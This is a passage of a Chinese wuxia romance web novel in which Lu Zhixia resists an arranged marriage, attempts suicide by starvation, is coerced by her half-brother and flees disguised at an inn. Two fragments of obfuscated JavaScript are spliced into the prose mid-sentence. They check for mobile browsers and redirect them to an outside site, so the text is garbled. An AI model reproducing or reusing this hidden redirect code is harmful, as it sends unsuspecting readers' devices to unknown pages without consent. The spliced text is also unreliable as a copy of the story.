陆知夏只感背上一阵温暖,下坠之势减缓。她慢慢睁开眼睛,刺眼光线中仅瞧见一个弧线优美的下巴。 是他,陆知夏怔住。她那样戏弄他,他居然不生她的气,还从鬼门关捞回她一条小命…… “大师兄好厉害!” 周围喝彩声不断。 陆知夏回过神,紧紧抓着陆子辰衣襟,生怕他出尽风头后反悔松手摔死她。 二人距地面还有较高距离。 陆子辰抱紧怀里的人,双脚在突出的檐上借力,几番纵跃后稳稳落地。 落地瞬间,鼓掌欢呼声四起。陆子辰深厚的内力,救人时迅捷优雅的身法,引得围观弟子赞不绝口。 “闹够了吧。”陆子辰低头看着怀里被吓呆的陆知夏,冰冷的双眸除了震怒没有丝毫怜惜。 陆知夏还未从坠楼的惊恐中缓过来又被人大吼,杏眸顿时盈满热泪。 这时,陆掌门带人闻讯赶来。周围看热闹的弟子们立时散开。 陆子辰无声叹息,将怀里的人放下,拽着垂头丧气的陆知夏到陆掌门面前。 事情闹大,陆掌门老脸丢尽,一肚子火,见到陆知夏便扬手作势要朝她打去。 陆知夏下意识往陆子辰身后躲,样子惊恐狼狈。 挺拔身影立在父女中间一动不动。陆掌门的手停在半空中,叹了口气,慢慢把手放下。 “来人,把这个不孝女押到静思洞思过!”陆掌门冷哼一声,拂袖而去。 15. 抗婚(下) 时近大暑,烈日炎炎,蝉鸣喧耳,入夜山里才稍微凉快些。 后山静思洞外,几名弟子闲来无事围在火堆旁斗蛐蛐。 一名深蓝色衣裙的丫鬟沿着小道走来,手里提着一个篮子。两名弟子将她拦住,认出她是陆知夏的贴身侍女小玉,但她没有陆掌门给的令牌不能进洞探视。 陆知夏被关静思洞三日,上回她被关染上重病的事还记忆犹新,小玉好不容易说服管事的让她过来给陆知夏送吃的和衣物,谁知塞了银子看守也不肯帮她转交东西,还撵她离开。 小玉不甘心,徘徊在附近想办法。冥思苦想间,她瞧见道上来了一名执剑女弟子,身影熟悉,即刻走上去。 “江姑娘。”认出来人,小玉松了口气,将自己带来的东西交给江宛若,托她带进去。 江宛若带着小玉塞来的东西,连同自己带来的东西一并往静思洞走去。她有陆掌门给的令牌,弟子们不敢阻拦,还亲自领她进洞。 静思洞里岔道洞室很多,若无熟人带领很容易迷路。二人一前一后沿着一条狭窄昏暗的小道走到头,来到一处洞室的铁门前。 门开后,江宛若独自带着东西进去探视,弟子在门外守着。 洞室里唯一的光源便是墙上一盏黯淡油灯。 江宛若适应洞室里的光线后,目光落在石床上。陆知夏背对着门的方向躺着,有人进来也一动不动,似乎睡得很沉。 “知夏,我带好吃的来看你了。”江宛若朝石床走去。 石床上铺了草席,垫了软垫,角落里还有一床薄被,整体环境比上回陆知夏住的那间好些。 江宛若将手里的东西放下,拍了拍陆知夏的肩,“知夏醒醒。” 床上的人还是没有反应,江宛若大声道:“小祖宗,有好吃的,还不快起来。” 这次陆知夏终于动了动,但仍闭着眼睛,有气无力道:“我吃过了,你走吧。” 江宛若感到有些不对劲,即刻将陆知夏翻过来,借着昏黄光线发现她唇色苍白,神情憔悴,立时紧张起来,怀疑她又生病了。 “快来人啊。”江宛若朝外边大喊。 弟子闻声进来,发现陆知夏情况确实不对后即刻去寻医。 眼下陆知夏被罚思过,江宛若无权擅自带她离开,只能留在洞室内照看。 静思洞外,小玉并未离去,她想等江宛若出来问问陆知夏的情况,却看到领江宛若进洞的弟子急匆匆走出来,抱怨道:“她怎么又病了,真是倒霉。” 闻言,小玉不由紧张,还未开口询问,那人已走远。她不安地在原地来回踱步,但愿他说的那个人不是陆知夏。 * 一炷香的时辰后,铁门再度打开。 江宛若转头看去,来的人不是王大夫而是陆子辰。 “她怎么了?”陆子辰提着灯笼上前,看到昏迷不醒、神色异常的陆知夏也皱起眉头。 江宛若道:“她体温如常,但四肢无力、脉象虚弱,该不会得了什么大病吧?” 陆子辰仔细查看陆知夏的情况。她体温确无异常,也无中毒迹象,目前这个样子还是得尽快找大夫来瞧瞧。可眼下王大夫回家省亲,李暮下山办事最快也要后天才回来,大晚上的让他去哪给她找大夫? 正发愁,陆子辰留意到石床一角覆着一堆稻草,像是有人故意在掩藏什么。他走过去用剑撩开稻草,一股饭菜的馊味儿扑面而来。 陆子辰和江宛若当即明白过来,陆知夏一定是把最近送来的饭菜都倒了,想悄无声息绝食自尽。 “知夏太傻了……”江宛若眼眶微红。为了抗婚,陆知夏真敢把自己往死路上逼。 “扶她起来。”陆子辰将水囊递给江宛若,“先给她喂点水试试。” 陆知夏虽然没有意识,但小嘴紧闭着,江宛若怎么也喂不进。 陆子辰失去耐心,上前夺过水囊,捏住陆知夏的鼻子,趁她张嘴呼吸之际猛地把水灌进她嘴里。 “咳咳咳。”陆知夏被水呛得咳嗽不止。 江宛若心疼道:“大师兄你慢点,知夏要被你呛死了。” 陆子辰无动于衷,不停给陆知夏灌水。狠心一时,总好过眼睁睁看她把自己折磨死。 经历一番“酷刑”,陆知夏呛咳不止,满脸水渍,睁开眼睛推开捏着自己鼻子的手,神色慌张地缩到江宛若身后。 “别怕,有我在。”江宛若回头安慰陆知夏,替她擦干脸上的水渍。 陆子辰冷喝道:“绝食自尽,亏你想得出!立刻把东西乖乖吃了。” 陆知夏恨恨瞪着陆子辰,“我的生死我自己决定,不要你管。” 清冷眸子被怒火点燃,陆子辰转头命人将小玉带进来,威胁道:“陆知夏,若不想你在乎的人为你而死就好好活着!否则,你咽气之时便是她的死期。” “你……”陆知夏被人拿捏住,怒骂道:“陆子辰,你这个卑鄙小人,我恨你!” 陆子辰背在身后的手猛然收紧。 小玉听说陆知夏要寻死,痛心道:“小姐你怎么这么傻,若你去了小玉怎么办?夫人的亡灵在九泉之下也不会安息的。” 陆知夏流泪道:“我的人生已经被爹毁过一次,不想被他毁第二次……” “可你也不能寻死啊。”小玉哽咽道:“曾经日子艰难我们都挺过来了,这次你也不该轻易放弃。” “小玉说得对。”江宛若轻抚着陆知夏的头,说道:“人死了就什么也没了,你千万不要因为一时想不开就轻生。” “你们都不明白……”陆知夏低头,滚烫的泪水打湿手背,“这件事我决不让步!” 陆知夏一旦倔起来谁的话都听不进去。陆子辰抬手轻挥,弟子们即刻拖小玉离开。 临走前,陆子辰再次警告陆知夏。陆知夏无力阻止这一切,扑进江宛若怀里大哭。 洞室内转眼只剩江宛若,她轻声安慰道:“放心吧,大师兄不会伤害小玉的,只要你好好的,小玉也会没事。” 陆知夏哽咽道:“我的人生已无指望,你们为何不让我去死?” 他们各个都劝她想开点,却没人去劝那个逼她走上绝路的人仁慈些。 江宛若将带来的饭菜拿到近前,好言劝道:“车到山前必有路。你先吃饭,等会儿我们一起想办法。” 陆知夏绝望道:“若有其他办法我也不会寻死。” “未必。”江宛若沉思片刻,脑中灵光乍现,凑到陆知夏耳边将刚刚想到的妙计告诉她。 陆知夏止住眼泪,眉头渐渐舒展,“妙啊,我之前怎么没想到,宛若你真聪明!” 江宛若道:“此计是否奏效不知,但定会影响你的声誉,行事之前你可要想清楚。” “我连生死都已不在乎,还会在乎声誉?”陆知夏冷冷道:“这回我一定要成功,让爹卖女儿的计划泡汤。” 心头阴霾散开,陆知夏擦干眼泪拿起筷子。饭菜还热乎,诱人的肉香引得她胃口大开,张嘴狼吞虎咽吃了起来。江宛若的计策可行,但她得先积蓄力量,之后再仔细谋划一番。 * 深夜无月,星辰黯淡。 云景院牡丹盛放的小花园里清静无人。陆子辰支着一条腿坐在花丛后的大树下喝酒,棱角分明的侧脸笼在阴影下,透着几分忧郁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083128|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两坛酒下肚还是冲不淡他心头烦闷,他又开启第三坛酒。 “子辰。” 花枝轻曳,一名美丽端庄的中年妇人提着灯笼绕过花丛走来。 陆子辰抬眸,清冷眸子一如今夜星辰般黯淡,失落苦闷的样子也没有半点人前的威风,还在一个劲地灌酒,衣襟湿透也浑不在意。 “烈酒伤身,心情不好也得少喝点。”姜氏看出他今夜格外烦闷,将灯笼随手一放,席地坐在他身边,“若有不开心的事不妨同娘说,娘不介意听你诉苦。这几日他不在山上,周围也没有人,有话咱们可以敞开说。” 陆子辰淡淡道:“无事,您回去歇息吧。” 姜氏知道他不愿倾吐心声,说道:“孩子,我知道做违背本心的事很难受,但你必须撑住。这些年你忍辱负重、表现优异,已完全取得他的信任,接下来只需静待时机反击即可,千万不要被无关紧要的人和事影响心绪。” 陆子辰俊眉微皱,略显不耐,“我行事自有分寸,绝对不会耽误大事。” “娘不是这个意思……”姜氏叹了口气。她本想安慰他,话出口不知怎的又变成了督促。 母子二人沉默坐了一会儿,姜氏想起一事,说道:“他下山前又让陆乾送了几副大家闺秀的画像过来,即便你无心风月也得瞧上几眼,否则他会不高兴。” 陆子辰放下空酒坛站起来,“这种无关紧要的事您帮我敷衍一下即可。” 姜氏也起身,看着儿子孤单背影目光中流露出几分担忧,“你也不小了,若碰到合适的姑娘可以试着相处,不要老是一个人,别人都开始在你背后说闲话了。而且,娘也衷心希望你能找到体己的伴侣,在这条冰冷血腥的路上不再孤单前行。” “我不需要!”陆子辰抬步离开,冷冷道:“这条路危险重重,何必把无关之人卷进来。” “可你们沈家也要延后啊……” 陆子辰绕过花丛走远,不知听没听到她的话,姜氏叹了口气跟上去。 母子二人沿着花|径往回走,一路无话。陆子辰望着路旁沾染露水的牡丹,脑海里不由自主浮现一张哭得梨花带雨的小脸。 “……我恨你。” 耳边又回荡起陆知夏咬牙切齿的声音,陆子辰停下脚步叹息。 姜氏见他一副心事重重、愁眉不展的模样,担忧道:“子辰,今晚你到底怎么了?” 陆子辰淡淡摇头,“最近事情太多,心有余而力不足罢了……” 姜氏道:“累了就早些回去歇息,别再借酒浇愁了,保重身子要紧。” 陆子辰点头,勉力挤出一丝微笑。 母子二人在小径尽头分开,各自回屋。 沐浴后,陆子辰坐在书案旁摩挲着一个牡丹纹饰紫檀木箱。以往每晚他都要打开看一眼才睡,今晚不知为何有些不敢打开。原来人亏心事做多了真的会害怕,但他在害怕什么呢? 终是没有勇气打开,他叹了口气,收好东西熄灯歇息。 * 两日后,陆掌门办事回山,一进门便听执法堂弟子禀报陆知夏企图绝食自尽一事,气得当场劈断一根柱子。 但陆知夏已是刘家准媳妇,惩罚归惩罚,不能有半点闪失。陆掌门强压下杀意,命人将陆知夏押回云岚院严加看管。 陆知夏被关静思洞这些日子又瘦了一圈,陆掌门担心日后亲家说他虐待新嫁娘,待她回到云岚院后命人送去许多补品,每顿让弟子看着她吃完。 自从有了新计策,陆知夏没再绝食,回云岚院后每日认真吃饭睡觉,令周围人皆松了口气。她也托这桩婚事的福日渐圆润。但眉间始终带着淡淡愁绪。 16. 下山 晃眼多日过去,玄阴派的聘礼迟迟未到。 陆掌门负手立于廊上,仰望着乌云密布的天空叹息。近来雨水频繁,想必他们路不好走耽搁了。但令他苦恼的还不止这件事。陆知夏始终不接受这桩婚事,绝食后被严加看管,最近又言行失常。他担心女儿在这个节骨眼想不开疯了,左思右想还是决定拉下脸去宽慰她一番。 午后微微有些阳光,云岚院里四处静悄悄的。守着陆知夏寝房的两名女弟子躲在附近阴凉处打盹,院门打开有人走进来也没反应。 陆掌门轻咳一声,打盹的女弟子们立时惊醒,慌忙擦干嘴角的哈喇子,起身抱拳行礼。 陆掌门训了二人几句,忽听屋里传来笑声,好奇走到半开的窗前往里瞧。 陆知夏双手捧腮独自坐在桌边,不知在想什么,脸上挂着神秘莫测的笑,看过去怪瘆人的。 “掌门,二小姐不会真被关出毛病了吧?” 两名女弟子幽幽凑到窗边,吓了陆掌门一跳。他恢复镇定,严肃道:“这件事不许外传,否则打断你们的腿。” “是。”弟子们怯怯退下。 陆掌门长长叹了口气,走到房门前敲门。 屋里传来脚步声,陆知夏开门惊讶地看着来人,“爹,您怎么来了?” 陆掌门仔细打量女儿,发现她除了眼中有些不同寻常的兴奋外,气色还不错,稍稍放了点心。 二人进屋,陆知夏恭敬给父亲奉茶。 陆掌门端起茶杯,问道:“方才你一个人在屋里笑什么?” 陆知夏汗颜,习武之人耳力果然不同寻常。她还能想什么?当然是密谋大计啊,可那些事怎么可能老实交代。好在她一向擅长装傻充楞,挠头佯装纳闷道:“我方才笑了吗?为何一点印象也没有。” 陆掌门一直留意她的表情,没发现任何端倪,心中更为忧虑,淡淡道:“许是我听错了。” 陆知夏暗暗捏了把汗,笑着向父亲打听玄阴派的人何时到。 陆掌门被茶水呛了一下,女儿今日种种反常言行令他忧虑更甚。 陆知夏眨巴着清澈的大眼睛望着父亲,不知他今天这是怎么了,老是盯着她看。 陆掌门略带关心问道:“知夏,最近饮食和休息可还好?” 陆知夏点头,“爹放心,每日三餐我都按时吃了,睡得也还行。” 陆掌门想说些关心的话,又不知从何开口。不经意间发现女儿这身姜红衣裙有些破损,看起来穿了有些年头,他才想起已经很久没有给女儿置办新衣。 陆知夏见父亲半天不说话,嘀咕道:“爹专程过来不会就是为了问女儿这些琐事吧?” 陆掌门无意再把父女关系闹僵,说道:“爹知你最近烦闷,所以过来问你愿不愿下山散心,顺道置办些新衣首饰,免得将来让夫家小瞧你。” “真的?我能下山?”陆知夏难以置信,以为自己听错了。 陆掌门故意垮下脸,“你不想去?那就当我没说。” “想去,想去!”陆知夏抱着父亲手臂,高兴道:“多谢爹爹体恤。” 女儿粘人的模样让陆掌门不禁想起多年前父女二人愉快相处的时光。那时候的小知夏乖巧听话,他指东她不敢往西,整日黏着他要学剑法,还立志要当守护云苍的女侠…… 往事柔人心肠,陆掌门看着女儿的目光多了几分慈爱,伸手捏了捏女儿粉腮,“孩子,爹不会害你,但你得听话。” 陆知夏暗暗撇嘴,他都把她往火坑里推了,不是害难道是偏爱?但父亲难得心平气和同她说话,她也无意破坏气氛,淡淡“嗯”了一声。 父女二人随意闲聊了一盏茶时辰,陆掌门离去时撤去院里看守的弟子,还将小玉调回云岚院。 傍晚主仆重聚,陆知夏笑得合不拢嘴。今日发生的一切出乎意料,但她忙着准备明日下山的东西没功夫多想。 * 翌日清晨,用过早膳后,陆知夏便同小玉背上包袱出门。 院门虽然敞开着,但弟子们却将她们拦住,让她们稍等片刻。陆知夏不解,过一会儿太阳都要升高了,她要等到何时? 不多时,一道熟悉黑影朝云岚院方向走来。陆知夏望去,不由一愣。 今日的陆子辰长发轻垂,仅以祥云银簪半束着。一身黑色装束也与以往风格不同,黑色修身锦袍配上同色半臂飘逸外衫,干练威风又透着几分倜傥洒脱,整个人气质也柔和许多,全然不似往日冰冷威严。 女弟子们托腮,眼神迷离地望着走近的挺拔身影。 “切。”陆知夏强行移开视线,暗暗翻了个白眼。这厮行头一换确实养眼,难怪江湖上迷恋他的女子甚多,但她对这种坏心肠的人完全生不出一丝毫好感。 陆子辰在云岚院门前停下,弟子们皆抱拳向他行礼。陆知夏抱着手臂站在一旁,假装没看见。 陆子辰道:“时辰不早了,我们出发吧。” 我们?陆知夏恍然大悟,难怪父亲放心让她下山,原来派了这个讨厌鬼跟着她! 陆知夏叹气,顿时没了一半兴致,气鼓鼓地出了门。 她招呼不打一声猛地往前走,陆子辰拉住她,手法极快地点了她几处穴道。 陆知夏立时感觉浑身经络有些不大自在,恼火道:“陆子辰,你对我做了什么?” “没什么,只是暂时封了你的内力而已。” 陆知夏无语,她就那点微乎其微的内力他也要封?若非现在抬个胳膊都费劲,她真想冲上去掐死他! “你这个卑鄙小人!” “再嚷嚷连哑穴一并封了。” 陆知夏立时噤声,好不容易能下山玩,她可不想做哑巴。 耳根清静,陆子辰抬步往前走,“愣着做什么?不想去了?” 陆知夏恨恨跺脚,同小玉默默跟上。三人一同往大门方向走去。 * 大门外连空气都格外清新。陆知夏和小玉蹦跶着下台阶,望着东边冉冉升起的红日微笑,眼里光彩大盛。 一转眼,她们在云苍派待了三年,虽然衣食无忧,但也失去了自由。如今能暂时离开这座牢笼,她们自然无比激动。 一辆马车来到近前。陆知夏与小玉乘车,陆子辰与候在不远处的齐放汇合,两人骑马护送马车下山。 离开云苍山,一行人踏上去云炀城的大路。 陆知夏挑开窗帘,说道:“齐放,你也去云炀城?” 齐放回头笑道:“怎么,我们两大高手护送,二小姐还有何不满?” “切。”陆知夏甩下窗帘,嘀咕道:“谁稀罕与你们两个讨厌鬼同行。” 此去云炀,打马仅需一个时辰,多了一辆慢悠悠的马车自然就要多费些时辰。陆子辰有要事在身,示意车夫提速。 小玉见陆知夏无精打采靠着车壁,端出食盒里的点心,笑道:“小姐,要不要尝一尝桂嬷嬷做的杏仁酥?” 陆知夏摆手,“我还是坐不惯马车,浑身不舒服。” 小玉见她脸色难看,紧张道:“要不还是让他们停车歇会儿吧。” “不必了。”陆知夏自觉没那么娇气,继续靠着车壁闭目养神。 车辙滚过一段坑坑洼洼的路面,车厢颠簸不止。陆知夏只觉胃里一阵翻江倒海,神色大变,捂嘴示意小玉叫人。 “快停车!” 过了颠簸的路,车夫勒马。陆知夏掀帘下车,扶着路边一棵大树吐了半天。好在早上没吃多,吐过后她感觉好受许多。 齐放叹了口气,看向陆子辰,“看样子她连马车也坐不了。” “真是麻烦。”陆子辰看了一眼天色,照这个速度,正午之前他们怕是到不了云炀城。 原地休息片刻后他们继续上路,但没走多远陆知夏又叫停车休息。 如此走走停停多次,陆子辰的耐心被消耗殆尽。再次准备出发时,他将正要跨上马车的陆知夏捞上马背。 “你这是做什么?放我下去!”陆知夏虽然稳坐在马鞍上,但她第一次骑马还是很害怕。还没适应,马儿就开始走起来。 “啊!” 陆知夏失去平衡一头撞在陆子辰坚实的胸膛上,小脸瞬间红透。他们虽是同父异母的兄妹,但距离这么近不免令她感到尴尬,尤其鼻端还萦绕着淡淡成熟男子的气息。 “坐稳了。”陆子辰低头提醒,张开双臂轻轻圈住她。 “我,我怕。你,你快放我下去。”陆知夏又羞又恼,话也说不利索。 陆子辰着急赶路没功夫同她磨叽,轻晃缰绳提速。 马儿慢慢跑起来,陆知夏稳住身子,适应后顿觉新奇,很快忘了尴尬的处境,开始幻想以后也要养一匹温顺的马儿,骑上它想去哪就立即去哪。 美梦还没做完,一记响亮的鞭子声拉回她的思绪。 马儿嘶鸣一声,带着二人撒开蹄子狂奔。 眼花缭乱中陆知夏抓紧陆子辰双臂保持平衡,慌张道:“这马是不是疯了?你快让它停下来。” 旁边响起一声口哨,齐放与他们齐头并进,调侃道:“怎么样陆老二,骑马是不是很好玩?” 陆知夏闭眼喊道:“一点也不好玩,快停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083129|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,我要坐车!” “闭嘴。”陆子辰沉声道:“我可没空陪你游山玩水。” 陆知夏无比恼火,但此刻小命掌握在他手里只能忍着。 忐忑骑行一段路后,陆知夏渐渐适应,再次放松下来。路途枯燥,她撑不住靠着后边舒适的肉垫打盹。 之前还吓得要死的人现在竟心安理得靠着他睡着了?陆子辰觉得好笑,不得不佩服她心大。为防她坠马,他稍稍收紧缰绳,双臂紧环住她。 快到云炀城了陆知夏还没醒。为了照顾她,陆子辰保持一个姿势不敢动,手臂早已酸麻,唤道:“陆知夏快醒醒,不许睡了。” 陆知夏才懒得管他,谁让他自作主张把她拉上马的。今天她要让他知道什么叫请神容易送神难! 唤了半天怀里的人不应,陆子辰俊眉一皱,扬鞭狠抽一记马屁股。 骏马吃痛,嘶鸣着扬起前蹄。身子忽然向后倒,陆知夏的尖叫声响彻十里。 马儿前蹄方落又带着二人撒开蹄子狂奔。 眼前景物飞逝,视线凌乱,失控感和恐惧再度占据陆知夏身心。她只顾抓紧陆子辰尖叫,睡意全无。 * 正午日光晃眼,暑气蒸腾,云炀城门前百姓进出依旧井然有序。 远处隐隐传来一阵急促马蹄声。不久,一匹黑色健硕的骏马载着一对年轻男女朝城门方向疾驰而来。 “哎惹,大白天搂搂抱抱,这些年轻人一点也不懂得害臊。” “就是,抱这么紧,生怕别人不知道他们是情侣似的。” 两个提着篮子的大婶在路边掩嘴偷笑。 马蹄扬尘而过,骏马径直入城,无人阻拦。陆子辰与城主关系特殊,又常入城办事,城主赐他自由出入特权,无需接受任何盘查。 城里热闹喧嚣,街上人流密集,陆子辰打马缓行,陆知夏终于松了口气。 * 马儿在一座苍松客栈前停下。看这个客栈的名字,陆知夏隐约感觉与云苍派有点关系。 陆子辰扶陆知夏慢慢下马。陆知夏第一次骑马被颠得头晕目眩,浑身酸痛,若不是胃里的东西之前早吐光了,只怕更难受。 一名伙计上前将马牵走。陆子辰径直往客栈里走,留陆知夏一个人慢慢挪步跟进去。 进出客栈的人见到陆知夏纷纷避开,眼里带着一丝嫌恶。陆知夏身子不适倒没注意,直到一个小女孩指着她奶声道:“娘,这个大姐姐好懒,出门也不梳洗打扮,像个疯婆子。” 童言无忌,周围人掩嘴轻笑。 陆知夏抬手摸摸自己松散的发髻和沾满尘土的脸,不敢想象现在的自己有多狼狈。她羞怯低头,想起最近接连被陆子辰欺负的情形,鼻子一酸蹲在地上抹泪。她怎会摊上这么一个可恶可恨没人性的大哥?! 面前停驻一双黑色革靴。陆知夏抬头,便见一双大手朝她伸来。 “起来吧,这里人来人往的,你还嫌不够丢人?”陆子辰责备的语气柔和,人也莫名变得亲和。陆知夏鬼使神差地握住他的手,起身同他往客栈里走。 “大少爷,二小姐。” 伙计们热情迎上来帮他们拿包袱。陆知夏猜中了,这座客栈确实是陆家的产业。 陆子辰吩咐一名伙计带陆知夏去客房梳洗,他还有事先行离开。 陆知夏看着那道挺拔身影走出客栈,心念一动,撇下伙计转身也往大门走去。 此时不跑更待何时?陆知夏窃喜。 大门附近迅速围过来几名身强力壮的伙计,各个抱着手臂面容不善地看着陆知夏。 这些人明显都是练家子,陆知夏讪笑着退回去。事情果然没那么简单…… 先前的伙计追上来,带陆知夏上楼。 他们的房间都在四楼,且是整间客栈最好的客房。陆知夏和小玉住地字号套间,陆子辰和齐放住天字号套间,相当于他们包下整层楼。 伙计打开地字号套间的门请陆知夏进去稍作休息。 厢房整体布置雅致,书桌、矮榻、躺椅等家具一应俱全,多是用紫檀木精雕而成。几处帘子也由稀有玉石串成,光彩夺目,美不胜收。地字号套房尚且如此奢华,天字号房更不敢想。陆知夏纳闷,父亲私底下究竟做什么生意赚了这么多银子。 伙计很快打来一盆清水。陆知夏梳洗一番下楼用膳,吃饱了小玉和齐放才到。 今日骑马的事陆知夏心有余悸,同小玉倾诉一番心里才好受些。 倦意袭来,陆知夏回房倒头就睡,将原本定好要外出的事忘得一干二净,一觉睡到太阳落山。 17. 溜街(上) 入夜,陆知夏倚在临街的窗边望着下边热闹的街道发呆。 下午错过了外出的时辰,夜里又不得外出,她感叹自己到哪儿都像一只笼中鸟,对大千世界的繁华只能旁观,无缘参与。 不久,房门开了。小玉来到陆知夏身边悄声说道:“小姐,客栈里生意很忙,大少爷和齐少侠又都不在,机会难得,不如我们趁机开溜吧。” 陆知夏眸光一亮,笑道:“好样的小玉,还是你懂我。” 这趟下山,主仆二人本就打着别的算盘。云苍派并非久留之地,她们只有逃出去才有真正的自由。 明着出门有风险,陆知夏心上一计告诉小玉,小玉即刻按照她的指示去办。 一盏茶的功夫,门外传来说话声。陆知夏手握烛台躲到门后。 房门开了,小玉领着一名清瘦伙计进来打扫。陆知夏从后边将伙计敲晕,小玉迅速关上门。 “小姐,他不会死了吧?”看着倒在地上一动不动的伙计,小玉有些害怕。 陆知夏放下烛台,揉揉酸痛的手臂,说道:“不会,我内力被封,他顶多睡一会儿就醒了。” 小玉不放心,伸手探到那人的鼻息才松了口气。 陆知夏将伙计的外衣扒下套到自己身上,他们身量差不多,衣服穿着大小正好合适。小玉接着替她束发。一番乔装改扮后,若不走近细瞧很难被人发现。 二人将伙计扛进柜子里藏好,收拾整理一番便离开。 门外清静无人,唯独走廊尽头有两个人影。这一层被包下,陆知夏又是重点看护对象,入夜后掌柜特意让两个伙计守着楼梯,不许陆知夏外出。但小玉不受约束,外出仅需汇报去向即可。 扮成伙计的陆知夏抱着一床锦被跟在小玉身后,伙计将他们拦下,一人要检查陆知夏手里的东西。小玉言辞犀利道:“这是我们小姐的私人用品,岂是你想看就看,脏手想摸就摸的?” 陆知夏低着头,心跳得很快。若没有锦被掩护,那些人看清她的模样定会当场露馅。 那伙计见小玉凶巴巴不好惹,撇嘴收手。小玉却不肯放过他,指着二人鼻子一通骂。二人忌惮她是陆知夏的贴身丫鬟不敢顶嘴,默不作声低头听训。 陆知夏抱着锦被先下楼,心里暗叹小玉长本事了。 下楼后,陆知夏抱着锦被低头跟着一名伙计向后院走去。眼下她虽然扮作伙计,但从前门离开还是太显眼。最佳选择仍是后门。 到了后院,陆知夏找了个没人的地方放被子再去寻后门。 “那个谁,快过来帮忙。” 身后忽然响起一个男人粗壮的嗓音,陆知夏停步转身。厨房门口,一个矮胖男人正朝她招手。 陆知夏抬手指着自己,“你在叫我?” 矮胖男人不耐烦道:“那里除了你还有谁?愣着做什么,快过来干活!” 陆知夏硬着头皮走过去,堆笑道:“大哥有何吩咐?” 矮胖男人看这小伙计面生,疑惑道:“我之前怎么没见过你?” 陆知夏镇定道:“我是新来的,原本掌柜让我明日上工,但今晚店里忙我就提前过来帮忙。” 矮胖男人瞧他一副细皮嫩肉、弱不禁风的样子,嘀咕道:“掌柜怎么找了个娘娘腔来干活?” 陆知夏摆了个强壮的姿势,沉声道:“大哥可不要小瞧我,小弟可不弱。” 矮胖男人挑眉,抬手指向偏僻角落几个蚊蝇飞绕的泔水桶,吩咐道:“喏,收泔水的老张在后门等着,你把那些都拿去倒了。” 听到“后门”二字,陆知夏顿时欣喜,这不是巧了吗?但她不认识路,挠头向矮胖男人打听怎么走。 矮胖男人抬手不耐烦地给她指路。 “多谢大哥。”陆知夏哼着小曲去干活。自由在望,这时莫说让她倒泔水,就是挑粪她也毫无怨言。 矮胖男人看这新伙计干活积极也没多想,转身回厨房忙自己的。 角落满满五桶泔水臭气冲天。陆知夏提不动一桶,找来一个空桶匀了匀,提着半桶就迫不及待往后门走去。 手里的泔水桶臭气熏天,她仰着头艰难呼吸。很就找到后门了,她内心激动兴奋,安慰自己再多忍耐一会儿。 * 云炀河畔乐坊林立,彩灯缤纷,丝竹悠扬,行人不绝,是夜间城中最热闹之地。 华丽高大的云秀坊更是灯火辉煌,门庭若市。此处是城中最大的乐坊,舞姬乐师才华横溢,样貌出众,虽皆为清倌,但开业至今六年生意长盛不衰,是城中贵人雅士喜来消遣之地。 云秀坊背临河道,挂满灯笼的九曲长廊连接渡口,今夜渡口恰好停着一艘华丽画舫,河道两旁也聚集了许多百姓。 听闻姜城主今晚邀锦绣姑娘夜游,众人都想借机一睹云炀第一美人的风采。 半晌,长廊上走来一行衣饰华丽的男女,两岸人群骚动,热情欢呼:“城主大人。” 当先一名身着玄黑华服,头戴金冠的男子朝岸上百姓招手,五官端正的脸上挂着一贯亲和的微笑,目光清亮冷静,即使面对热情激动的百姓依旧步伐从容。这位正是如今的云炀城城主,姜崇。 先城主英年早逝,独子姜崇十二岁继位。如今的云炀城惠风和畅,百姓安居乐业,全赖他继位后大胆破除积弊锐意改革。继位八载,姜崇年纪轻轻已政绩斐然,获得城中百姓一致拥护。 姜崇身后二人同样引人注目。围观人群里少男少女激动大喊: “锦绣姑娘。” “陆公子。” 身形挺拔的英俊公子眸光微沉,加快脚步。 姜崇回头调侃道:“表兄放轻松,人家那是喜欢你,让他们多看几眼又不会少块肉。” 陆子辰瞥了姜崇一眼,淡淡道:“你以为人人都像你这么厚脸皮?” 闻言,一旁姿容倾城的女子噗嗤一笑,明艳动人。岸上安静下来,百姓们看得如痴如醉。 姜崇道:“你看人家秀儿都比你镇定。” 陆子辰懒得搭理他,大步往前走,只想尽快离开这显眼之地。 “这个木头就是不开窍。”姜崇无奈摇头,同锦绣跟上去。身后一众舞姬也整齐跟上。 一行人登上画舫,画舫慢慢离开渡口,沿河道顺流而下。 岸上人潮也跟着画舫移动。好奇心强的人伸长脖子不停往画舫里张望。无奈画舫四周有轻纱帘幔遮掩,外人只窥得模糊人影,偶借晚风吹起才瞧得内部一瞬。 画舫前厅宽敞明亮,布置精美奢华,主客二人坐在摆满美酒佳肴的圆桌旁,佳人在旁为二人抚曲助兴。琵琶声清脆悦耳。 舞姬上前为二人倒酒。 陆子辰道:“说好小聚,你弄这般招摇做什么?” 姜崇意味深长看着他,“我听说今日表兄携佳人入城,本想设宴替你撑撑场面,谁知你竟独自前来,枉费我一番心意。” “这种事你倒是消息灵通。”冷淡的语气里夹着一丝不满。 “这可是大事!”姜崇正色道:“表兄年纪不小了,姑姑时常来信让我替你留意好姑娘,你呀也该有个红颜知己让她放心,老这么独来独往会被人说……” 姜崇及时住口。 陆子辰眼神一凛,“说什么?” 姜崇不敢如实回答,尴尬一笑,“说,说你高冷。” 陆子辰满不在意,执杯喝酒。 